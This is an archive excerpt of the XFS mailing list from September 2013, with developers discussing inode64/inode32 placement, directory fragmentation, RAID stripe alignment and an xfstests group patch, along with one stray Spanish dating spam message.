20:03:45 -0300 From: Carlos Maiolino To: xfs@oss.sgi.com, linux-xfs@oss.sgi.com Subject: Re: free inodes remaining in 1tb Message-ID: <20130926230345.GA18765@andromeda.usersys.redhat.com> X-ASG-Orig-Subj: Re: free inodes remaining in 1tb Mail-Followup-To: xfs@oss.sgi.com, linux-xfs@oss.sgi.com References: <44qehaxod8.ln2@goaway.wombat.san-francisco.ca.us> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <44qehaxod8.ln2@goaway.wombat.san-francisco.ca.us> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1380236632 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Sep 26, 2013 at 03:47:00PM -0700, Keith Keller wrote: > Hi all, > > I "recently" (a few months ago) came across the inode64 entries in the > XFS FAQ. Unfortunately, I have a filesystem not mounted with inode64, > and I would like to know how many more inodes I can create in the > first 1TB before I run out, The maximum amount of the filesystem that can be used by inodes (by default) are: 25% for filesystems under 1TB, 5% for filesystems under 50TB and 1% for filesystems over 50TB. >so that I can plan for a migration to > inode64 (if it's very few, I would make it a high priority; if not, it > can be done in a few weeks instead, for example). Is there an easy > way (or even a hard way) to query the filesystem for this information? > inode64 is a remountable option now (if you're using a relatively recent kernel), so you don't need to umount and remount it. > I also wanted to ask about the FAQ that says you can switch back from > inode64 to inode32. How does that work if an inode is created past the > 1TB mark? How would the kernel know how to find an inode64 inode that > was created beyond the 1TB mark if the filesystem is subsequentely > mounted without inode64? > inode32 option only dictates where the filesystem will create next inodes, not where it will search for already created inodes. bear in mind though that are some applications that can't read 64bit inodes. > Thanks, > > --keith > > -- > kkeller@wombat.san-francisco.ca.us > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From cmaiolino@redhat.com Thu Sep 26 18:13:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B535629DFB for ; Thu, 26 Sep 2013 18:13:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 98D478F8040 for ; Thu, 26 Sep 2013 16:13:16 -0700 (PDT) X-ASG-Debug-ID: 1380237195-04cb6c153d14898a0001-w1Z2WR Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id LJGwa25RS4qGzyjx; Thu, 26 Sep 2013 16:13:15 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8QNDFQj030363 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 26 Sep 2013 19:13:15 -0400 Received: from andromeda.usersys.redhat.com (ovpn-113-166.phx2.redhat.com [10.3.113.166]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8QNDBRM006361 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Thu, 26 Sep 2013 19:13:14 -0400 Date: Thu, 26 Sep 2013 20:13:09 -0300 From: Carlos Maiolino To: xfs@oss.sgi.com, "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH] xfstests: add xfs/291 to auto group Message-ID: <20130926231309.GA18924@andromeda.usersys.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: add xfs/291 to auto group Mail-Followup-To: xfs@oss.sgi.com, "'linux-xfs@oss.sgi.com'" References: <52444130.6030000@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52444130.6030000@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1380237195 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Good to me too Reviewed-by: Carlos Maiolino On Thu, Sep 26, 2013 at 09:14:08AM -0500, Eric Sandeen wrote: > 291 passes just fine w/ current xfsprogs on non-crc filesystems, > so add it to the auto group. > > Signed-off-by: Eric Sandeen > --- > > Not sure why I didn't do this in the first commit, sorry... > > > diff --git a/tests/xfs/group b/tests/xfs/group > index 352a4c5..17fff27 100644 > --- a/tests/xfs/group > +++ b/tests/xfs/group > @@ -171,7 +171,7 @@ > 283 dump ioctl auto quick > 287 auto dump quota quick > 290 auto rw prealloc quick ioctl > -291 repair > +291 auto repair > 292 auto mkfs quick > 293 auto quick > 295 auto logprint quick > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From cmaiolino@redhat.com Thu Sep 26 18:13:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=unavailable version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C111629E04 for ; Thu, 26 Sep 2013 18:13:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A7F6F304067 for ; Thu, 26 Sep 2013 16:13:16 -0700 (PDT) X-ASG-Debug-ID: 1380237195-04cb6c153d14898a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id LJGwa25RS4qGzyjx; Thu, 26 Sep 2013 16:13:15 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8QNDFQj030363 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 26 Sep 2013 19:13:15 -0400 Received: from andromeda.usersys.redhat.com (ovpn-113-166.phx2.redhat.com [10.3.113.166]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8QNDBRM006361 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Thu, 26 Sep 2013 19:13:14 -0400 Date: Thu, 26 Sep 2013 20:13:09 -0300 From: Carlos Maiolino To: xfs@oss.sgi.com, "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH] xfstests: add xfs/291 to auto group Message-ID: <20130926231309.GA18924@andromeda.usersys.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: add xfs/291 to auto group Mail-Followup-To: xfs@oss.sgi.com, "'linux-xfs@oss.sgi.com'" References: <52444130.6030000@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52444130.6030000@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1380237195 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Good to me too Reviewed-by: Carlos Maiolino On Thu, Sep 26, 2013 at 09:14:08AM -0500, Eric Sandeen wrote: > 291 passes just fine w/ current xfsprogs on non-crc filesystems, > so add it to the auto group. > > Signed-off-by: Eric Sandeen > --- > > Not sure why I didn't do this in the first commit, sorry... > > > diff --git a/tests/xfs/group b/tests/xfs/group > index 352a4c5..17fff27 100644 > --- a/tests/xfs/group > +++ b/tests/xfs/group > @@ -171,7 +171,7 @@ > 283 dump ioctl auto quick > 287 auto dump quota quick > 290 auto rw prealloc quick ioctl > -291 repair > +291 auto repair > 292 auto mkfs quick > 293 auto quick > 295 auto logprint quick > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From stan@hardwarefreak.com Thu Sep 26 18:46:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DD00D7F3F for ; Thu, 26 Sep 2013 18:46:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C4DB58F8049 for ; Thu, 26 Sep 2013 16:46:12 -0700 (PDT) X-ASG-Debug-ID: 1380239171-04cbb02c3c1484110001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id gPufQ2kbmDGNGHq9 for ; Thu, 26 Sep 2013 16:46:11 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 7A0FB6C177; Thu, 26 Sep 2013 18:46:11 -0500 (CDT) Message-ID: <5244C742.3080003@hardwarefreak.com> Date: Thu, 26 Sep 2013 18:46:10 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Eric Sandeen CC: Ronnie Tartar , xfs@oss.sgi.com Subject: Re: Issues and new to the group References: <0e4201cebaae$24873680$6d95a380$@host2max.com> <5244234D.1010603@hardwarefreak.com> <100f01cebaba$0ae84280$20b8c780$@host2max.com> <101601cebabc$8acb99a0$a062cce0$@host2max.com> <52444355.50904@sandeen.net> X-ASG-Orig-Subj: Re: Issues and new to the group In-Reply-To: <52444355.50904@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1380239171 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 9/26/2013 9:23 AM, Eric Sandeen wrote: > On 9/26/13 8:30 AM, Ronnie Tartar wrote: >> Stan, looks like I have directory fragmentation problem. >> >> xfs_db> frag -d >> actual 65057, ideal 4680, fragmentation factor 92.81% >> >> What is the best way to fix this? > > http://xfs.org/index.php/XFS_FAQ#Q:_The_xfs_db_.22frag.22_command_says_I.27m_over_50.25._Is_that_bad.3F > > We should just get rid of that command, TBH. > > So your dirs are in an average of 65057/4680 or about 14 fragments each. > Really not that bad, in the scope of things. > > I'd imagine that this could be more of your problem: > >> The >> folders are image folders that have anywhere between 5 to 10 million images >> in each folder. > > at 10 million entries in a dir, you're going to start slowing down on inserts > due to btree management. But that probably doesn't account for multiple seconds for > a single file. > > So really,it's not clear *what* is slow. > >> It takes about 2.5 to 3.5 seconds to write a single file. > > strace with timing would be a very basic way to get a sense of what is slow; > is it the file open/create? How big is the file, are you doing buffered or > direct IO? > > On a more modern OS you could do some of the tracing suggested in > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > > but some sort of profiling (oprofile, perhaps) might tell you where time is being spent in the kernel. > > When you say suddenly started, was it after a kernel upgrade or other change? Eric is an expert on this, much more knowledgeable than me. And somehow I missed the 5-10 million files per dir. Maybe you have multiple issues here adding up to large delays. In addition to the steps Eric recommends, it can't hurt to go ahead and take a look at the free space map. Depending on how the filesystem has aged this could be a factor, such as being 90%+ full at one time, and then lots of files being deleted. # xfs_db -r -c freesp /dev/[device] -- Stan From auhfrazyioa@yahoo.com Thu Sep 26 19:18:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.4 required=5.0 tests=FORGED_YAHOO_RCVD, FREEMAIL_FROM,HTML_FONT_SIZE_HUGE,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 40D147F52 for ; Thu, 26 Sep 2013 19:18:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2C0CF30406A for ; Thu, 26 Sep 2013 17:18:11 -0700 (PDT) X-ASG-Debug-ID: 1380241086-04cbb02c3c1485d30001-w1Z2WR Received: from mail.javans.com.ar (mx1.javans.com.ar [190.210.76.68]) by cuda.sgi.com with ESMTP id CJERpY0LnXFJcbzF (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Thu, 26 Sep 2013 17:18:07 -0700 (PDT) X-Barracuda-Envelope-From: auhfrazyioa@yahoo.com X-Barracuda-Apparent-Source-IP: 190.210.76.68 Received: from yahoo.com by mail.javans.com.ar (MDaemon PRO v11.0.0) with ESMTP id md50002041447.msg for ; Thu, 26 Sep 2013 21:17:45 -0300 X-Authenticated-Sender: joseb@fasedos.com.ar X-MDRemoteIP: 186.56.187.153 X-Return-Path: auhfrazyioa@yahoo.com X-Envelope-From: auhfrazyioa@yahoo.com X-MDaemon-Deliver-To: linux-xfs@oss.sgi.com From: auhtpn@yahoo.com, luis To: linux-xfs@oss.sgi.com Subject: si el puede,vos tambien Date: 26 Sep 2013 21:17:58 -0300 X-ASG-Orig-Subj: si el puede,vos tambien Message-ID: <20130926211757.A6570697A207E528@yahoo.com> MIME-Version: 1.0 Disposition-Notification-To: renatog1951@terra.com Content-Type: multipart/alternative; boundary="----=_NextPart_000_0012_2BB2BB05.CB62512F" X-Barracuda-Connect: mx1.javans.com.ar[190.210.76.68] X-Barracuda-Start-Time: 1380241087 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.39 X-Barracuda-Spam-Status: No, SCORE=2.39 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG538, HTML_FONT_SIZE_HUGE, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140961 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.39 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge 0.00 HTML_MESSAGE BODY: HTML included in message 2.00 BSF_SC0_TG538 Custom Rule TG538 ------=_NextPart_000_0012_2BB2BB05.CB62512F Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Casado busca Casada Encuentro real sin fin de lucro Reserva-Privacidad-Respeto- conoceotrapiel@datafull.com =C2=A0 ------=_NextPart_000_0012_2BB2BB05.CB62512F Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Casado busca Casada

    Casado busca= Casada

    Encuentro re= al sin fin=20 de lucro

    Reserva-Privacidad-Respeto-

    conoceotrapiel@datafull.com<= /a>

     

    ------=_NextPart_000_0012_2BB2BB05.CB62512F-- From david@fromorbit.com Thu Sep 26 20:09:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 33F9A29DFB for ; Thu, 26 Sep 2013 20:09:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id EDF598F8040 for ; Thu, 26 Sep 2013 18:09:22 -0700 (PDT) X-ASG-Debug-ID: 1380244160-04bdf02f2214e9a10001-w1Z2WR Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ogqe7vDHfPucgn0T for ; Thu, 26 Sep 2013 18:09:20 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjIHAF7ZRFJ5LCC0/2dsb2JhbABbgweDS7hPhTuBGRd0giUBAQQBOhwjBQsIAw4GBAklDwUlAyETiAAFvHMWjzsHhB4Dl3yReYM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail05.adl6.internode.on.net with ESMTP; 27 Sep 2013 10:39:18 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VPMY3-0007BC-B6; Fri, 27 Sep 2013 11:08:47 +1000 Date: Fri, 27 Sep 2013 11:08:47 +1000 From: Dave Chinner To: Keith Keller Cc: linux-xfs@oss.sgi.com Subject: Re: free inodes remaining in 1tb Message-ID: <20130927010847.GW26872@dastard> X-ASG-Orig-Subj: Re: free inodes remaining in 1tb References: <44qehaxod8.ln2@goaway.wombat.san-francisco.ca.us> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <44qehaxod8.ln2@goaway.wombat.san-francisco.ca.us> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1380244160 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140963 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Thu, Sep 26, 2013 at 03:47:00PM -0700, Keith Keller wrote: > Hi all, > > I "recently" (a few months ago) came across the inode64 entries in the > XFS FAQ. Unfortunately, I have a filesystem not mounted with inode64, > and I would like to know how many more inodes I can create in the > first 1TB before I run out, Depends on how much other data is allocated in the first TB (occurs when you fill the space above 1TB completely), the size of the allocation groups (how much of the first TB canbe used for inodes), how many inodes and other metadata you've already allocated, etc. > so that I can plan for a migration to > inode64 (if it's very few, I would make it a high priority; if not, it > can be done in a few weeks instead, for example). Is there an easy > way (or even a hard way) to query the filesystem for this information? Only a hard way - using xfs_db to look at on-disk structures and inferring the state from there... > I also wanted to ask about the FAQ that says you can switch back from > inode64 to inode32. How does that work if an inode is created past the > 1TB mark? Depends on how old your kernel is. Access to 64 bit inodes when mounting with inode32 only came along in 2010: commit fb3b504adeee942e55393396fea8fdf406acf037 Author: Christoph Hellwig Date: Fri May 28 19:03:10 2010 +0000 xfs: fix access to upper inodes without inode64 If a filesystem is mounted without the inode64 mount option we should still be able to access inodes not fitting into 32 bits, just not created new ones. For this to work we need to make sure the inode cache radix tree is initialized for all allocation groups, not just those we plan to allocate inodes from. This patch makes sure we initialize the inode cache radix tree for all allocation groups, and also cleans xfs_initialize_perag up a bit to separate the inode32 logical from the general perag structure setup. Signed-off-by: Christoph Hellwig Signed-off-by: Alex Elder So if you have an old kernel (older than 2.6.35), you won't be able to access 64 bit inodes at all if you mount with inode32. Anything more recent than that will work just fine. > How would the kernel know how to find an inode64 inode that > was created beyond the 1TB mark if the filesystem is subsequentely > mounted without inode64? The inode number is an encoding of the physical location of the inod inthe filesystem. Hence the kernel code can always find the inode location - it just may not be able to do anything with it because the caches on old kernels can't index them... Cheers, Dave. -- Dave Chinner david@fromorbit.com From stan@hardwarefreak.com Thu Sep 26 20:10:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3A3BF29DFB for ; Thu, 26 Sep 2013 20:10:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B4EA6AC004 for ; Thu, 26 Sep 2013 18:10:53 -0700 (PDT) X-ASG-Debug-ID: 1380244252-04bdf02f2214e9b60001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id nrBaHESFLCGhrgcv for ; Thu, 26 Sep 2013 18:10:52 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 337F66C162; Thu, 26 Sep 2013 20:10:52 -0500 (CDT) Message-ID: <5244DB1B.7000908@hardwarefreak.com> Date: Thu, 26 Sep 2013 20:10:51 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: Stewart Webb , Chris Murphy , "xfs@oss.sgi.com" Subject: Re: xfs hardware RAID alignment over linear lvm References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> <20130925215713.GH26872@dastard> <5243FCD6.4000701@hardwarefreak.com> <20130926215806.GQ26872@dastard> X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm In-Reply-To: <20130926215806.GQ26872@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1380244252 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 9/26/2013 4:58 PM, Dave Chinner wrote: > On Thu, Sep 26, 2013 at 04:22:30AM -0500, Stan Hoeppner wrote: >> On 9/26/2013 3:55 AM, Stewart Webb wrote: >>> Thanks for all this info Stan and Dave, >>> >>>> "Stripe size" is a synonym of XFS sw, which is su * #disks. This is the >>>> amount of data written across the full RAID stripe (excluding parity). >>> >>> The reason I stated Stripe size is because in this instance, I have 3ware >>> RAID controllers, which refer to >>> this value as "Stripe" in their tw_cli software (god bless manufacturers >>> renaming everything) >>> >>> I do, however, have a follow-on question: >>> On other systems, I have similar hardware: >>> 3x Raid Controllers >>> 1 of them has 10 disks as RAID 6 that I would like to add to a logical >>> volume >>> 2 of them have 12 disks as a RAID 6 that I would like to add to the same >>> logical volume >>> >>> All have the same "Stripe" or "Strip Size" of 512 KB >>> >>> So if I where going to make 3 seperate xfs volumes, I would do the >>> following: >>> mkfs.xfs -d su=512k sw=8 /dev/sda >>> mkfs.xfs -d su=512k sw=10 /dev/sdb >>> mkfs.xfs -d su=512k sw=10 /dev/sdc >>> >>> I assume, If I where going to bring them all into 1 logical volume, it >>> would be best placed to have the sw value set >>> to a value that is divisible by both 8 and 10 - in this case 2? >> >> No. In this case you do NOT stripe align XFS to the storage, because >> it's impossible--the RAID stripes are dissimilar. In this case you use >> the default 4KB write out, as if this is a single disk drive. >> >> As Dave stated, if you format a concatenated device with XFS and you >> desire to align XFS, then all constituent arrays must have the same >> geometry. >> >> Two things to be aware of here: >> >> 1. With a decent hardware write caching RAID controller, having XFS >> alined to the RAID geometry is a small optimization WRT overall write >> performance, because the controller is going to be doing the optimizing >> of final writeback to the drives. >> >> 2. Alignment does not affect read performance. > > Ah, but it does... > >> 3. XFS only performs aligned writes during allocation. > > Right, and it does so not only to improve write performance, but to > also maximise sequential read performance of the data that is > written, especially when multiple files are being read > simultaneously and IO latency is important to keep low (e.g. > realtime video ingest and playout). Absolutely correct, as Dave always is. As my workloads are mostly random, as are those of others I consult in other fora, I sometimes forget the [multi]streaming case. Which is not good, as many folks choose XFS specifically for [multi]streaming workloads. My remarks to this audience should always reflect that. Apologies for my oversight on this occasion. >> What really makes a difference as to whether alignment will be of >> benefit to you, and how often, is your workload. So at this point, you >> need to describe the primary workload(s) of your systems we're discussing. > > Yup, my thoughts exactly... > > Cheers, > > Dave. > -- Stan From joe.landman@gmail.com Thu Sep 26 21:18:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 645657F3F for ; Thu, 26 Sep 2013 21:18:10 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4FBB88F8065 for ; Thu, 26 Sep 2013 19:18:07 -0700 (PDT) X-ASG-Debug-ID: 1380248282-04cbb02c3a148cd00001-NocioJ Received: from mail-ie0-f176.google.com (mail-ie0-f176.google.com [209.85.223.176]) by cuda.sgi.com with ESMTP id bz7Vam3aEb7mJ0N5 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 26 Sep 2013 19:18:02 -0700 (PDT) X-Barracuda-Envelope-From: joe.landman@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.223.176 X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.176] Received: by mail-ie0-f176.google.com with SMTP id as1so2635198iec.35 for ; Thu, 26 Sep 2013 19:18:02 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.176] X-Barracuda-IPDD: Level1 [gmail.com/209.85.223.176] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject:references :in-reply-to:content-type:content-transfer-encoding; bh=w4N9YwNXv8AUg0ciur1JfchcRgWIxoym9up/QA77Vcw=; b=yMZU3iE0GK+eguJ4LhGwlUtBc8JIdYeuMvcZns2gX1cPsuxsDJvTYcCt8YvfDzVsIq qxmUtNvTZaddxHBJm+Zcvffhomfu4OgQ2kMO+eQZLEvDbbYUa073DaY0XzRrqsfqQkzK AvNYhdXDeZtt5cpLqvfhQeQPN6egSrkdWQj1/J/OV3WL6B/NqY1rLYYqteLEOQ9WBKWa roSv6/fw5aKSD1RQcq6Syt7ZkrLZcaLeKaVsQglss/c9i6vgv30uBfhAAUkbUGZqslo0 TTWbEXk8ow2KR0CxkW+Pxh8VypumTUZaoWBiUVGL0kDWdI0jbTwfh4pXaAhc1l6IJSNw Dw2Q== X-Received: by 10.50.67.105 with SMTP id m9mr338146igt.34.1380248282444; Thu, 26 Sep 2013 19:18:02 -0700 (PDT) Received: from [192.168.5.50] ([70.88.96.213]) by mx.google.com with ESMTPSA id e8sm1764840igy.1.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 26 Sep 2013 19:18:01 -0700 (PDT) Message-ID: <5244EAD5.1010202@gmail.com> Date: Thu, 26 Sep 2013 22:17:57 -0400 From: Joe Landman User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: Issues and new to the group References: <0e4201cebaae$24873680$6d95a380$@host2max.com> <5244234D.1010603@hardwarefreak.com> <100f01cebaba$0ae84280$20b8c780$@host2max.com> 